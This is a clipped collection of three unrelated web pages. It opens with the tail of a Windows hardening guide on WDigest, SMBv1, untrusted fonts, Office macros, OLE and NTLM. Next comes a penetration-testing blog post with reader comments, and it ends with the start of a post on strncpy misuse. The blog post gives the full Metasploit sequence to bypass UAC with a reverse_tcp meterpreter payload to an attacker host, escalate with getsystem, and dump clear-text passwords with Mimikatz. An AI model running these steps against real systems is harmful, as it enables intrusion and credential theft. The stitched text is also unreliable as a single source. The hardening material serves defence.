key:_HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest\UseLogonCredential
= “0”_ Earlier supported Windows versions with KB2871997 installed add this
registry key, though WDigest is enabled and needs to be disabled by changing
UseLogonCredential from “1” Enabled, to “0” DisabledKeeping WDigest enabled
means that tools like Mimikatz can extract the user’s “clear-text”
password.Identify who is authenticating via Wdigest:

  * Server Event ID 4624 
    * Security ID: ADSECURITY\JoeUser
    * Source Network Address: 10.10.10.221 \[Workstation IP Address\]
    * Authentication Package: WDigest
  * Domain Controller Event ID 4776 
    * Authentication Package: Wdigest
    * Logon Account: JoeUSer
    * Source Workstation: ADS-IIS01 \[Server that accepted WDigest Auth\]

In order to get WDIgest authentication logged on DCs, enable the appropriate
auditing:

  * Computer Configuration>Windows Settings>Security Settings>Advanced Audit Policy Configuration>Audit Policies>Account Logon>Audit Credential Validation>Success

**Disable WDigest via Group Policy:**

  * Configure the registry setting on a reference workstation  
_HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest\UseLogonCredential
= “0”_

  * Open the Group Policy Management Console. Right-click the Group Policy object \(GPO\) that should contain the new preference item, and then click Edit .
  * In the console tree under Computer Configuration, expand the Preferences folder, and then expand the Windows Settings folder.
  * Right-click the Registry node, point to New , and select Registry Wizard .
  * Select the reference workstation on which the desired registry settings exist, then click Next .
  * Browse to _HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest_ \  
and select the check box for “ _UseLogonCredential_ ” from which you want to
create a Registry preference item. Select the check box for a key only if you
want to create a Registry item for the key rather than for a value within the
key.

  * Click Finish. The settings that you selected appear as preference items in the Registry Wizard Values collection.

**Expected Level of Effort:  
**Low

**Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **Remove SMB v1 from Windows 8.1 & Windows Server 2012 R2  
**

Server Message Block \(SMB\)  
SMB “ _operates as an application-layer network protocol\[3\] mainly used for
providing shared access to files, printers, and serial ports and miscellaneous
communications between nodes on a network. It also provides an authenticated
inter-process communication mechanism. Most usage of SMB involves computers
running Microsoft Windows, where it was known as “Microsoft Windows Network”
before the subsequent introduction of Active Directory._ ”

SMB version 1 was the default for Windows 2003 & Windows 2003 and has several
security issues.

**Ned Pyle outlines several reasons to stop using SMBv1:**

  * **SMB1 isn’t safe**

> When you use SMB1, you lose key protections offered by later SMB protocol
> versions:
>   * Pre-authentication Integrity \(SMB 3.1.1+\). Protects against security
> downgrade attacks.
>   * Secure Dialect Negotiation \(SMB 3.0, 3.02\). Protects against security
> downgrade attacks.
>   * Encryption \(SMB 3.0+\). Prevents inspection of data on the wire, MiTM
> attacks. In SMB 3.1.1 encryption performance is even better than signing\!
>   * Insecure guest auth blocking \(SMB 3.0+ on Windows 10+\) . Protects
> against MiTM attacks.
>   * Better message signing \(SMB 2.02+\). HMAC SHA-256 replaces MD5 as the
> hashing algorithm in SMB 2.02, SMB 2.1 and AES-CMAC replaces that in SMB
> 3.0+. Signing performance increases in SMB2 and 3.
>

  * **SMB1 isn’t modern or efficient**

> When you use SMB1, you lose key performance and productivity optimizations
> for end users.
>   * Larger reads and writes \(2.02+\)- more efficient use of faster networks
> or higher latency WANs. Large MTU support.
>   * Peer caching of folder and file properties \(2.02+\) – clients keep
> local copies of folders and files via BranchCache
>   * Durable handles \(2.02, 2.1\) – allow for connection to transparently
> reconnect to the server if there is a temporary disconnection
>   * Client oplock leasing model \(2.02+\) – limits the data transferred
> between the client and server,
>   * improving performance on high-latency networks and increasing SMB server
> scalability
>   * Multichannel & SMB Direct \(3.0+\) – aggregation of network bandwidth
> and fault tolerance if multiple paths are available between client and
> server, plus usage of modern ultra-high throughout RDMA infrastructure
>   * Directory Leasing \(3.0+\) – Improves application response times in
> branch offices through caching
>

  * **SMB1 isn’t usually necessary**

> This is the real killer: there are very few cases left in any modern
> enterprise where SMB1 is the only option. Some legit reasons:
>   1. You’re still running XP or WS2003 under a custom support agreement.
>   2. You have some decrepit management software that demands admins browse
> via the ‘network neighborhood’ master browser list.
>   3. You run old multi-function printers with antique firmware in order to
> “scan to share”.
>

> None of these things should affect the average end user or business. Unless
> you let them.
**Windows SMB Support by Windows OS Version:**

> There are several different versions of SMB used by Windows operating
> systems:
>   * CIFS – The ancient version of SMB that was part of Microsoft Windows NT
> 4.0 in 1996. SMB1 supersedes this version.
>   * SMB 1.0 \(or SMB1\) – The version used in Windows 2000, Windows XP,
> Windows Server 2003 and Windows Server 2003 R2
>   * SMB 2.0 \(or SMB2\) – The version used in Windows Vista \(SP1 or later\)
> and Windows Server 2008
>   * SMB 2.1 \(or SMB2.1\) – The version used in Windows 7 and Windows Server
> 2008 R2
>   * SMB 3.0 \(or SMB3\) – The version used in Windows 8 and Windows Server
> 2012
>   * SMB 3.02 \(or SMB3\) – The version used in Windows 8.1 and Windows
> Server 2012 R2
>

**SMB Negotiated Versions:**

> Here’s a table to help you understand what version you will end up using,
> depending on what Windows version is running as the SMB client and what
> version of Windows is running as the SMB server:
> OS | Windows 8.1  
>  WS 2012 R2 | Windows 8  
>  WS 2012 | Windows 7  
>  WS 2008 R2 | Windows Vista  
>  WS 2008 | Previous  
>  versions  
> ---|---|---|---|---|---  
> Windows 8.1  
>  WS 2012 R2 | **SMB 3.02** | **SMB 3.0** | SMB 2.1 | SMB 2.0 | SMB 1.0  
> Windows 8  
>  WS 2012 | **SMB 3.0** | **SMB 3.0** | SMB 2.1 | SMB 2.0 | SMB 1.0  
> Windows 7  
>  WS 2008 R2 | SMB 2.1 | SMB 2.1 | SMB 2.1 | SMB 2.0 | SMB 1.0  
> Windows Vista  
>  WS 2008 | SMB 2.0 | SMB 2.0 | SMB 2.0 | SMB 2.0 | SMB 1.0  
> Previous  
>  versions | SMB 1.0 | SMB 1.0 | SMB 1.0 | SMB 1.0 | SMB 1.0  
> \* WS = Windows Server
**SMB Features and Capabilities:**

> Here’s a very short summary of what changed with each version of SMB:
>   * From SMB 1.0 to SMB 2.0 – The first major redesign of SMB
>     * Increased file sharing scalability
>     * Improved performance
>       * Request compounding
>       * Asynchronous operations
>       * Larger reads/writes
>     * More secure and robust
>       * Small command set
>       * Signing now uses HMAC SHA-256 instead of MD5
>       * SMB2 durability
>   * From SMB 2.0 to SMB 2.1
>     * File leasing improvements
>     * Large MTU support
>     * BranchCache
>   * From SMB 2.1 to SMB 3.0
>     * Availability
>       * SMB Transparent Failover
>       * SMB Witness
>       * SMB Multichannel
>     * Performance
>       * SMB Scale-Out
>       * SMB Direct \(SMB 3.0 over RDMA\)
>       * SMB Multichannel
>       * Directory Leasing
>       * BranchCache V2
>     * Backup
>       * VSS for Remote File Shares
>     * Security
>       * SMB Encryption using AES-CCM \(Optional\)
>       * Signing now uses AES-CMAC
>     * Management
>       * SMB PowerShell
>       * Improved Performance Counters
>       * Improved Eventing
>   * From SMB 3.0 to SMB 3.02
>     * Automatic rebalancing of Scale-Out File Server clients
>     * Improved performance of SMB Direct \(SMB over RDMA\)
>     * Support for multiple SMB instances on a Scale-Out File Server
>

> You can get additional details on the SMB 2.0 improvements listed above at  
>  http://blogs.technet.com/b/josebda/archive/2008/12/09/smb2-a-complete-
> redesign-of-the-main-remote-file-protocol-for-windows.aspx
> You can get additional details on the SMB 3.0 improvements listed above at  
>  http://blogs.technet.com/b/josebda/archive/2012/05/03/updated-links-on-
> windows-server-2012-file-server-and-smb-3-0.aspx
> You can get additional details on the SMB 3.02 improvements in Windows
> Server 2012 R2 at  
>  http://technet.microsoft.com/en-us/library/hh831474.aspx
**Third-party implementations:**

> There are several implementations of the SMB protocol from someone other
> than Microsoft. If you use one of those implementations of SMB, you should
> ask whoever is providing the implementation which version of SMB they
> implement for each version of their product. Here are a few of these
> implementations of SMB:
>   * **Apple** – Up to SMB2 implemented in OS X 10 Mavericks –
> http://images.apple.com/osx/preview/docs/OSX\_Mavericks\_Core\_Technology\_Overview.pdf
>   * **EMC** – Up to SMB3 implemented in VNX –
> http://www.emc.com/collateral/white-papers/h11427-vnx-introduction-
> smb-30-support-wp.pdf
>   * **Linux** \(Client\) – SMB 2.1 and SMB 3.0 \(even minimum SMB 3.02
> support\) implemented in the Linux kernel 3.11 or higher –
> http://www.snia.org/sites/default/files2/SDC2013/presentations/Revisions/StevenFrench\_SMB3\_Meets\_Linux\_ver3\_revision.pdf
>   * **NetApp** – Up to SMB3 implemented in Data ONTAP 8.2 –
> https://communities.netapp.com/community/netapp-
> blogs/cloud/blog/2013/06/11/clustered-ontap-82-with-windows-
> server-2012-r2-and-system-center-2012-r2-innovation-in-storage-and-the-cloud
>   * **Samba** \(Server\) – Up to SMB3 implemented in Samba 4.1 –
> http://www.samba.org/samba/history/samba-4.1.0.html
>

> Please note that is not a complete list of implementations and the list is
> bound to become obsolete the minute I post it. Please refer to the specific
> implementers for up-to-date information on their specific implementations
> and which version and optional portions of the protocol they offer.
**Managing SMB with PowerShell \(Windows 8.1 & Windows Server 2012 R2 and
up\):**

This Powershell command can audit SMBv1 usage:

[code]

    Set-SmbServerConfiguration –AuditSmb1Access $true
    
    
[/code]

The PowerShell command can disable SMB v1:

[code]

    Set-SmbServerConfiguration –EnableSMB1Protocol $false
[/code]

**Expected Level of Effort:  
**Medium

**Expected Impact:**  
_This is may break things in the enterprise, please test first._

## **Windows 10 & Windows 2016 Specific**

### **Windows 10/2016 Build Updates**

When configuring your baseline image for Windows 10, remove the following
features:

  * PowerShell 2.0 Engine
  * SMB 1 \(breaks access to old file shares, like Windows 2003\)

<img src='img/Temp2_7295.png' width='331' height='498' alt='disable-
windows10-features-psv2-smb1' />

Note: In the screenshot above, .Net framewok 3.5 is enabled. This is a
Microsoft SCM 4.0 requirement and is why it’s enabled on the system. Do _not_
add .Net 3.5 \(which includes .Net 2.0 & 3.0\) to the Windows 10 base image.

**Expected Level of Effort:  
**Low

**  
Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### Block Untrusted Fonts

_To help protect your company from attacks which may originate from untrusted
or attacker controlled font files, we’ve created the Blocking Untrusted Fonts
feature. Using this feature, you can turn on a global setting that stops your
employees from loading untrusted fonts processed using the Graphics Device
Interface \(GDI\) onto your network. Untrusted fonts are any font installed
outside of the %windir%/Fonts directory. Blocking untrusted fonts helps
prevent both remote \(web-based or email-based\) and local EOP attacks that
can happen during the font file-parsing process._

Enable the Blocking Untrusted Fonts feature:  
HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel\  
If the MitigationOptions key isn’t there, right-click and add a new QWORD
\(64-bit\) Value, renaming it to MitigationOptions.

MitigationOptions key value options:

  * To turn this feature on. Type 1000000000000.
  * To turn this feature off. Type 2000000000000.
  * To audit with this feature. Type 3000000000000.

It’s highly recommended to enable this feature in Audit mode for a week or two
and check for related events. After that, flip the switch to turn it on.

Review Audit Events:

  1. Open Event Viewer and go to Application and Service Logs/Microsoft/Windows/Win32k/Operational.
  2. Review Event ID 260 events.

> Event Example 1 – MS Word  
>  _WINWORD.EXE attempted loading a font that is restricted by font loading
> policy._  
>  _FontType: Memory_  
>  _FontPath:_  
>  _Blocked: true_  
>  Note: Because the FontType is Memory, there’s no associated FontPath.
> Event Example 2 – Winlogon  
>  _Winlogon.exe attempted loading a font that is restricted by font loading
> policy._  
>  _FontType: File_  
>  _FontPath: \??\C:\PROGRAM FILES \(X86\)\COMMON FILES\MICROSOFT
> SHARED\EQUATION\MTEXTRA.TTF_  
>  _Blocked: true_  
>  Note: Because the FontType is File, there’s also an associated FontPath.
> Event Example 3 – Internet Explorer running in Audit mode  
>  _Iexplore.exe attempted loading a font that is restricted by font loading
> policy._  
>  _FontType: Memory_  
>  _FontPath:_  
>  _Blocked: false_  
>  Note: In Audit mode, the problem is recorded, but the font isn’t blocked.
**Block Untrusted Fonts via Group Policy:**

  * Configure the registry setting on a reference workstation  
HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\Kernel\MitigationOptions Type = 1000000000000

  * Open the Group Policy Management Console. Right-click the Group Policy object \(GPO\) that should contain the new preference item, and then click Edit .
  * In the console tree under Computer Configuration, expand the Preferences folder, and then expand the Windows Settings folder.
  * Right-click the Registry node, point to New, and select Registry Wizard .
  * Select the reference workstation on which the desired registry settings exist, then click Next .
  * Browse to _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel\_  
and select the check box for “MitigationOptions ” from which you want to
create a Registry preference item. Select the check box for a key only if you
want to create a Registry item for the key rather than for a value within the
key.

  * Click Finish. The settings that you selected appear as preference items in the Registry Wizard Values collection.

**Expected Level of Effort:  
**Low to Medium

**Expected Impact:**  
_This may break things in the enterprise, please test first \(at least deploy
in audit mode first\).  
_

### Block Authenticated Users from Enumerating Local Groups on Windows 10
Workstations

Thanks to the Microsoft ATA folks, we know that Windows 10 Anniversary Update
\(v1607\) restricts remote SAMR calls \(default\) to only local
administrators.

<img src='img/Temp2_7300.png' width='297' height='156' alt='twitter-
windows10-restrictsamr' />

When using PowerView to enumerate local group membership on Windows 10 v1607
as a domain user, we get the following error

<img src='img/Temp2_7301.png' width='674' height='52' alt='block-network-
local-group-enumeration' />

### Enable Credential Guard

https://blogs.technet.microsoft.com/ash/2016/03/02/windows-10-device-guard-
and-credential-guard-demystified/

### Configure Device Guard

Device Guard Deployment Guide

Matt Graeber’s Device Guard rules to mitigate bypasses

## **Application Settings**

### **Disable Office Macros**

The term Office Macro sounds like a nice helper in an Office document. The
reality is that a macro is code that runs on the computer. This code is
written in Visual Basic \(VBA\) and can be used to help, or used maliciously.  
According to Microsoft, “ _In the enterprise, recent data from our Office 365
Advanced Threat Protection service indicates 98% of Office-targeted threats
use macros._ “<img src='img/Temp2_7298.png' width='543' height='286'
alt='top20macrofamilydetections' />Macros are disabled by default in current
versions of Office \(VBA was enabled in Office 2010\), but some organizations
have users who require macro functionality. This complicates managing
macros.Starting with Office 2007, there are several options to control macros

  * Disable all macros without notification
  * Disable all macros with notification
  * Disable all macros except digitally signed macros
  * Enable all macros \(not recommended, potentially dangerous code can run\)

Some organizations configure Office to block macros with notification, but
users are able to enable macros – a fact that phishers take advantage of.

<img src='img/Temp2_7297.png' width='407' height='196' alt='bypass-marco-
security' />

Microsoft Office 2013 introduced the Telemetry Dashboard which can be used to
determine macro usage, though it’s disabled by default.

<img src='img/Temp2_7304.png' width='536' height='325'
alt='office2013-telemetry-dashboard' />

Enable by using Group Policy, registry settings, or by selecting the Enable
Logging button in Telemetry Log

https://technet.microsoft.com/en-us/library/jj863580.aspx

https://blogs.technet.microsoft.com/office\_resource\_kit/2012/08/08/using-
office-telemetry-dashboard-to-see-how-well-your-office-solutions-perform-in-
office-2013/

Assuming you are running Office 2007 and newer, block all macros without
notification for all users.

If you have a subset of users who require macros, you can lower the
restriction to those users so they can use digitally signed macros.

Office 2016 introduced a new setting, which has since been backported to
Office 2013 in KB3177451, \(get the Office 2016 Group Policy administrative
templates to configure via GPO\) which provides the ability to “Block macros
from running in Office files from the Internet.”

_This policy setting allows you to block macros from running in Office files
that come from the Internet. If you enable this policy setting, macros are
blocked from running, even if “Enable all macros” is selected in the Macro
Settings section of the Trust Center. Also, instead of having the choice to
“Enable Content,” users will receive a notification that macros are blocked
from running. If the Office file is saved to a trusted location or was
previously trusted by the user, macros will be allowed to run. If you disable
or don’t configure this policy setting, the settings configured in the Macro
Settings section of the Trust Center determine whether macros run in Office
files that come from the Internet._

This option provides another level of granularity for organizations which have
users who have to use macros in files within their organization, but have
issues with signing those macros.

Microsoft describes this feature:

_This feature can be controlled via Group Policy and configured per
application. It enables enterprise administrators to block macros from running
in Word, Excel and PowerPoint documents that come from the Internet. This
includes scenarios such as the following:_

  * _Documents downloaded from Internet websites or consumer storage providers \(like OneDrive, Google Drive, and Dropbox\)._
  * _Documents attached to emails that have been sent from outside the organization \(where the organization uses the Outlook client and Exchange servers for email\)_
  * _Documents opened from public shares hosted on the Internet \(such as files downloaded from file-sharing sites\)._

**Group policy:**

  1. Open the Group Policy Management Console, right-click the Group Policy Object you want to configure and click Edit.
  2. In the Group Policy Management Editor, go to User configuration.
  3. Click Administrative templates > Microsoft Word 2016 > Word options > Security > Trust Center.
  4. Open the Block macros from running in Office files from the Internet setting to configure and enable it.

**<img src='img/Temp2_7306.png' width='1161' height='698'
alt='office2016-blockmacrosfrominternet' />**

**Expected Level of Effort:  
**Low to Medium

**Expected Impact:**  
_This may break things in the enterprise, please test first._

### **Disable Office OLE**

You have disabled all Office macros in your organization, so you’re good
right?

Not exactly. There’s a technology for embedding files from Windows ancient
times called OLE Package \(packager.dll\) which provides attackers the ability
to trick users into running code on their system simply by opening the
attachment.

In fact, Will Harmjoy \(Harmj0y.net\) & I demonstrated how embedded OLE can
bypass most organization’s perimiter security and execute attacker code even
when Office macros are disabled:  
DerbyCon 6 \(2016\) Slides \(PDF\)  
DerbyCon 6 \(2016\) Presentation Video \(YouTube\)**  
**

According to Kevin Beaumont, this affects Outlook 2003 through Outlook 2016.

<img src='img/Temp2_7307.png' width='505' height='403' alt='kevinb-ole-in-
email' />  
_Screenshot by Kevin Beaumont_

  
Kevin provides several mitigations for this issue:

  * _Application whitelisting. However, be careful for signed executables with parameters being embedded. E.g. there are many Microsoft digitally signed tools you can use to springboard for other content, and because they’re Microsoft you’ve probably already trusted their publisher certificate.  
_

  * _Deploy the registry key ShowOLEPackageObj, for your version\(s\) of Office, to silently disable OLE Package function in Outlook. There is no way to disable it in wider Office, however, so attackers can still embed inside Word, Excel and PowerPoint.  
HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Security\ShowOLEPackageObj
= “0” \(disabled\)  
_

  * _EMET. If you run Microsoft EMET \(or a similar product such as Palo-Alto TRAPS\), add this mitigation for Outlook.exe:_

_< Mitigation Name=”ASR” Enabled=”true”>  
<asr\_modules>packager.dll</asr\_modules  
</Mitigation>_

By stopping packager.dll, you stop the issue.

**  
Group Policy:**

The simplest method to deploy mitigation is to create a Group Policy and link
to the OU\(s\) containing users:

  * Set this registry key on a reference workstation:  
_HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\\\#\#\#\Outlook\Security\  
_Add new Ddword \(32-bit\) value:_ShowOLEPackageObj = “0” \(disabled\)_ Where
“\#\#\#” is the current version of Office installed

Office Version | Value  
---|---  
Office 2016 | 16.0  
Office 2013 | 15.0  
Office 2010 | 14.0  
Office 2007 | 12.0  
  * Open the **Group Policy Management Console**. Right-click the Group Policy object \(GPO\) that should contain the new preference item, and then click **Edit** .
  * In the console tree under **Computer Configuration** , expand the **Preferences** folder, and then expand the **Windows Settings** folder.
  * Right-click the **Registry** node, point to **New** , and select **Registry Wizard** .
  * Select the reference workstation on which the desired registry settings exist, then click **Next** .
  * Browse to _HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Office\\\#\#\#\Outlook\Security\_ and select the check box for “ _ShowOLEPackageObj_ ” to create a Registry preference item. Select the check box for a key only if you want to create a Registry item for the key rather than for a value within the key.
  * Click **Finish** . The settings that you selected appear as preference items in the Registry Wizard Values collection.

If your organization has deployed EMET \(which it should\), update the EMET
configuration file with the following:

_< Mitigation Name=”ASR” Enabled=”true”>  
<asr\_modules>packager.dll</asr\_modules>  
</Mitigation>_

Configure this via Group Policy: https://technet.microsoft.com/en-
us/itpro/windows/keep-secure/override-mitigation-options-for-app-related-
security-policies  
**Expected Level of Effort:  
**Low to Medium

**  
Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

## **Windows Group Policy Settings**

### **ConfigureLanman Authentication to a secure setting**

Configure Lanman authentication to “Send NTLMv2 response only” to enforce
authentication security.  
For better security, configure this setting to “Send NTLMv2 response only.
Refuse LM & NTLM”Group Policy configuration:

  * Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options

**Setting** | **Description** | **Registry security level**  
---|---|---  
Send LM & NTLM responses | Client computers use LM and NTLM authentication, and they never use NTLMv2 session security. Domain controllers accept LM, NTLM, and NTLMv2 authentication. | 0  
Send LM & NTLM – use NTLMv2 session security if negotiated | Client computers use LM and NTLM authentication, and they use NTLMv2 session security if the server supports it. Domain controllers accept LM, NTLM, and NTLMv2 authentication. | 1  
Send NTLM response only | Client computers use NTLMv1 authentication, and they use NTLMv2 session security if the server supports it. Domain controllers accept LM, NTLM, and NTLMv2 authentication. | 2  
Send NTLMv2 response only | Client computers use NTLMv2 authentication, and they use NTLMv2 session security if the server supports it. Domain controllers accept LM, NTLM, and NTLMv2 authentication. | 3  
Send NTLMv2 response only. Refuse LM | Client computers use NTLMv2 authentication, and they use NTLMv2 session security if the server supports it. Domain controllers refuse to accept LM authentication, and they will accept only NTLM and NTLMv2 authentication. | 4  
Send NTLMv2 response only. Refuse LM & NTLM | Client computers use NTLMv2 authentication, and they use NTLMv2 session security if the server supports it. Domain controllers refuse to accept LM and NTLM authentication, and they will accept only NTLMv2 authentication. | 5  
In Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2,
the default is **Send NTLMv2 response only**. Check to see if you are
overriding this with another GPO.

**  
Expected Impact:**  
_This could very well break things in the enterprise, please test first._

### **Configure restrictions for unauthenticated RPC clients**

_This policy setting configures the RPC Runtime on an RPC server to restrict
unauthenticated RPC clients from connecting to the RPC server. A client will
be considered an authenticated client if it uses a named pipe to communicate
with the server or if it uses RPC Security. RPC interfaces that have
specifically asked to be accessible by unauthenticated clients may be exempt
from this restriction, depending on the selected value for this policy._

_If you enable this policy setting, the following values are available:_

_• None. Allows all RPC clients to connect to RPC servers that run on the
computer on which the policy is applied._

_• Authenticated. Allows only authenticated RPC clients to connect to RPC
servers that run on the computer on which the policy is applied. Interfaces
that have asked to be exempt from this restriction will be granted an
exemption._

_• Authenticated without exceptions. Allows only authenticated RPC clients to
connect to RPC servers that run on the computer on which the policy is
applied. No exceptions are allowed._

**Group Policy:**

Computer Configuration\Administrative Templates\System\Remote Procedure Call
to “Enabled”

RPC Runtime Unauthenticated Client Restriction to Apply: Authenticated

**  
Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **Configure NTLM session security**

_You can enable all of the options for this policy setting to help protect
network traffic that uses the NTLM Security Support Provider \(NTLM SSP\) from
being exposed or tampered with by an attacker who has gained access to the
same network. In other words, these options help protect against man-in-the-
middle attacks._

_This policy setting determines which behaviors are allowed for applications
using the NTLM Security Support Provider \(SSP\). The SSP Interface \(SSPI\)
is used by applications that need authentication services. The setting does
not modify how the authentication sequence works but instead require certain
behaviors in applications that use the SSPI._

_The possible values for the Network security: Minimum session security for
NTLM SSP based \(including secure RPC\) clients setting are:_

_– Require message confidentiality. This option is only available in Windows
XP and Windows Server 2003, the connection will fail if encryption is not
negotiated. Encryption converts data into a form that is not readable until
decrypted._

– Require message integrity. This option is only available in Windows XP and
Windows Server 2003, the connection will fail if message integrity is not
negotiated. The integrity of a message can be assessed through message
signing. Message signing proves that the message has not been tampered with;
it attaches a cryptographic signature that identifies the sender and is a
numeric representation of the contents of the message.

– Require 128-bit encryption. The connection will fail if strong encryption
\(128-bit\) is not negotiated.

– Require NTLMv2 session security. The connection will fail if the NTLMv2
protocol is not negotiated.

– Not Defined.

**Group Policy:**

Computer Configuration\Windows Settings\Security Settings\Local
Policies\Security Options

Network security: Minimum session security for NTLM SSP based \(including
secure RPC\) client

**  
Expected Impact:**  
_This is may break things in the enterprise, please test first._

**Important Note Before Applying:**

**_These are only recommendations. You are responsible for testing and
identifying issues before deploying._**  
**_I am not responsible if you break your environment. Configuring any of
these settings could negatively impact your environment – test before
applying. Though configuring as many of these as possible will improve the
security of your systems._**

\(Visited 47,306 times, 18 visits today\)

  * __ AppLocker, block macros, Block macros from running in Office files from the Internet, cmd, Control Local Administrator Account, Control Macros, DHCP option 43 hex 0104.0000.0002, Direct hosting of SMB over TCP/IP, Disable LLMNR, Disable NetBIOS, Disable NetSession Enumeration, Disable PowerShell version 2, Disable SMB 1, Disable Windows Scripting Host \(WSH\), Disable WPAD, EMET, Group Policy, jscript, KB2871997, KB3177451, Lanman Authentication, LAPS, LLMNR, Microsoft Office Macro Security, Microsoft Office Macros, mimikatz, NetCease, NTLM session security, Office 2013 macro, Office 2016 macro security, Office OLE, OLE, packager.dll, port 445, Responder, RID 500, Secure Windows Workstation, Server Message Block, SMB, Telemetry Dashboard, VBA, VBScript, WDigest, Windows 10 build image, WPAD, wscript
  * 

  

# System level Access and Plain Text Passwords using Bypass UAC and Mimikatz | CYBER ARMS - Computer Security
**Created:**| _7/22/2015 3:12:21 PM_  
---|---  
**Updated:**| _7/22/2015 3:12:21 PM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

## System level Access and Plain Text Passwords using Bypass UAC and Mimikatz

If you can get a remote shell during a penetration test, Metasploit’s Bypass
UAC module is great for disabling that pesky UAC and escalating an account
with admin privileges to the all powerful System level access. The problem is
it doesn’t seem to work anymore – so let’s see what changed and get some plain
text passwords while we are at it\!

Its been a while since I have used Metasploit’s Bypass UAC module and when I
went to use it recently, it kept erroring out. Once you had a remote shell
with Metasploit all you used to have to do was call the Bypass UAC module, set
the session number of the active session and run it. The solution is simple,
the module usage has changed slightly.

We will start with an active session to a Windows 7 system:

<img src='img/Temp2_7824.png' width='497' height='116' alt='BypassUAC
Metasploit 1' />

From here, enter:

  * use exploit/windows/local/bypassuac\_injection
  * set session 1
  * set payload windows/meterpreter/reverse\_tcp
  * set lhost \[Kali’s IP Address\]
  * set lport 4545 \(_**Important: use a different port from one used for original shell**_\)
  * exploit

This should execute the Bypass UAC module, creating a new session with UAC
disabled:

<img src='img/Temp2_7823.png' width='497' height='201' alt='BypassUAC
Metasploit 2' />

Now if we type “ _**getsystem**_ ” it should work, as verified by “
_**getuid**_ ”:

<img src='img/Temp2_7826.png' alt='BypassUAC Metasploit 3' />

Now that we have a System level shell, what can we do?

Pretty much anything we want. Recover clear text passwords you say? Sure\!

Type, “ _**load kiwi**_ “:

<img src='img/Temp2_7822.png' width='497' height='175' alt='BypassUAC Mimikatz
4' />

Then type, “ _**creds\_all**_ “:

<img src='img/Temp2_7827.png' alt='BypassUAC Mimikatz 5' />

Oh look, user “ _**Dan**_ ” is using the hyper secure password of “
_**password**_ ” – Yikes, not good\!

Bypass UAC is now a full exploit module, which means that you need to actually
set a payload for it. I recommend using the same one that you got the original
shell with. But make sure that when you set up the payload for Bypass UAC that
you select a different port number for it to use or it will error out. So on
mine, the port used to create session one was 4444, so I chose port 4545 for
the UAC exploit.

Lastly, once we had the second shell created by Bypass UAC, we quickly
elevated our privileges to system level with the “ _**getsystem**_ ” command.
Lastly, we used the amazing Mimikatz “ _**Kiwi**_ ” extension to grab the
plain text passwords for the win\!

Want to learn how to use Metasploit and a whole lot more? Check out my book,
“Basic Security Testing with Kali Linux” – Also a follow up book is coming out
very soon\!

About these ads

### Share this:

  * Twitter
  * Facebook16
  * Google
  * LinkedIn
  * Pinterest
  * Reddit
  * 

Loading...

<img src='img/Temp2_7828.png' width='497' height='55' />

### _Related_

Recovering Plain Text Passwords with Metasploit and MimikatzIn "Computer
Security"

Remotely Recovering Windows Passwords in Plain TextIn "Computer Security"

Getting a Remote Shell on an Android Device using MetasploitIn "Computer
Security"

~ by D. Dieterle on July 4, 2015.

Posted in Metasploit

Tags: Bypass UAC, Exploits, Hacking, Metasploit, Meterpreter, Mimikatz,
Pentesting, plain text passwords, system level, UAC

### 4 Responses to “System level Access and Plain Text Passwords using Bypass
UAC and Mimikatz”

  1. \[…\] If you can get a remote shell during a penetration test, Metasploit's Bypass UAC module is great for disabling that pesky UAC and escalating an account with admin privileges to the all powerful Sys… \[…\]
System level Access and Plain Text Passwords us... said this on July 5, 2015 at 1:33 pm | Reply
  2. Hi, I was trying out this method for my lab , but its showing the following error after i run exploit :
msf exploit\(bypassuac\) > exploit

\[\*\] Started reverse handler on 10.0.0.101:4545

\[\*\] UAC is Enabled, checking level…

\[+\] UAC is set to Default

\[+\] BypassUAC can bypass this setting, continuing…

\[+\] Part of Administrators group\! Continuing…

\[\*\] Uploaded the agent to the filesystem….

\[\*\] Uploading the bypass UAC executable to the filesystem…

\[\*\] Meterpreter stager executable 73802 bytes long being uploaded..

\[-\] Exploit failed \[timeout-expired\]: Timeout::Error execution expired

msf exploit\(bypassuac\) >

Can you suggest some solution for this error, I would really appreciate it.

fravarski said this on July 6, 2015 at 5:11 pm | Reply
     * Are you using the latest updates? I used this on 32 bit, if you are using 64 you need to “show targets” and set it to 64 and use the 64 bit reverse TCP module. Other than that the only thing I can think of is that AV could be blocking it. But it is working here on 32 and 64 bit updated demo systems with AV.
D. Dieterle said this on July 7, 2015 at 10:43 am | Reply
       * Hi, I am using it for 32 bit system, and i have made sure no anit-virus is installed on the system…I googled the error output but its not showing any useful solution\!\!
If u can suggest some workaround, i would really appreciate it.

<img src='img/Temp2_7825.png' width='32' height='32' /> fravarski said this on
July 7, 2015 at 11:01 am

### Leave a Reply

# Does anyone get strncpy right?

**Created:**| _3/21/2019 8:17:20 AM_  
---|---  
**Updated:**| _3/21/2019 8:17:20 AM_  
**Author:**| _wishi_  
**Tags:**| _C++ code-review C code-checks auditing_  
  

  

###  Does anyone get strncpy right?

March 18, 2019

I decided to have a quick look at OpenBIOS. 5 seconds in, it's clear that
strncpy is used incorrectly in a number of places. OpenBSD realised many years
ago how prone to bugs strncpy was and replaced it with the non standard
strlcpy.

[code]

    static void
    create_free_part( char *ptr, int size )
    {
            nvpart_t *nvp = (nvpart_t*)ptr;
            memset( nvp, 0, size );
    
            strncpy( nvp->name, "777777777777", sizeof(nvp->name) );
            nvp->signature = NV_SIG_FREE;
            nvp->len_hi = (size /16) >> 8;
            nvp->len_lo = size /16;
            nvp->checksum = nvpart_checksum(nvp);
    }
    
[/code]

